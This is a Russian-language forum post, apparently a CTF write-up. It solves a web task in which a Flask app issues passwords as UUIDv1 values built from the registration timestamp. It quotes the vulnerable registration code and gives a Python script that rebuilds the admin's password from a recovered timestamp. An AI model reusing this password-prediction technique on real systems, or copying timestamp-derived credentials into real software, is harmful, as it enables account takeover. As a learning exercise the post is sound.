vov4ick
Green Team
				
			- 11.12.2022
 
- 60
 
- 141
 
Приветствую форумчан, сегодня я покажу решение таска из категории Веб «Форум предсказателей».
		
		
	
	
		
	
Основная цель - это сайт с формой регистрации и авторизации:
		
	
К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:
	
	
	
	
		
Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :
		
	
Далее, имея метку, мы можем преобразовать ее в UUID :
	
	
	
	
		
На выходе мы получаем готовый пароль:
		
	
Авторизуемся под админом и забираем флаг:
		
	
Задача оказалась довольно простой, всем спасибо за внимание.
				
			Основная цель - это сайт с формой регистрации и авторизации:
К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:
		Python:
	
	@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        secret_word = request.form['secret_word']
        if User.query.filter_by(username=username).first():
            return "Такой пользователь уже существует!"
        exact_time = datetime.utcnow()
        timestamp = exact_time.strftime("%Y-%m-%d %H:%M:%S.%f")
        password = generate_uuid(timestamp)
        user = User(username=username, password=password, created_at=exact_time, secret_word=secret_word)
        db.session.add(user)
        db.session.commit()
        return render_template('register_success.html', username=username, password=password)
    return render_template('register.html')
	Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :
Далее, имея метку, мы можем преобразовать ее в UUID :
		Python:
	
	from datetime import datetime
import uuid
def generate_uuid(timestamp_str):
    try:
        timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
        
        uuid_epoch = datetime(1582, 10, 15)
        
        intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
        
        clock_seq = 0x89ca
        node = 0x000c297433a0
        
        uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                                  (intervals >> 32) & 0xFFFF,
                                  ((intervals >> 48) & 0x0FFF) | (1 << 12),
                                  clock_seq >> 8,
                                  clock_seq & 0xFF,
                                  node))
        
        return str(uuid1)
    except ValueError as e:
        print(f"Ошибка: {e}")
        return "Ошибка: время (timestamp)."
timestamp_str = "2025-01-22 00:42:26.053996"
generated_uuid = generate_uuid(timestamp_str)
print("Generated UUID:", generated_uuid)
	На выходе мы получаем готовый пароль:
Авторизуемся под админом и забираем флаг:
Задача оказалась довольно простой, всем спасибо за внимание.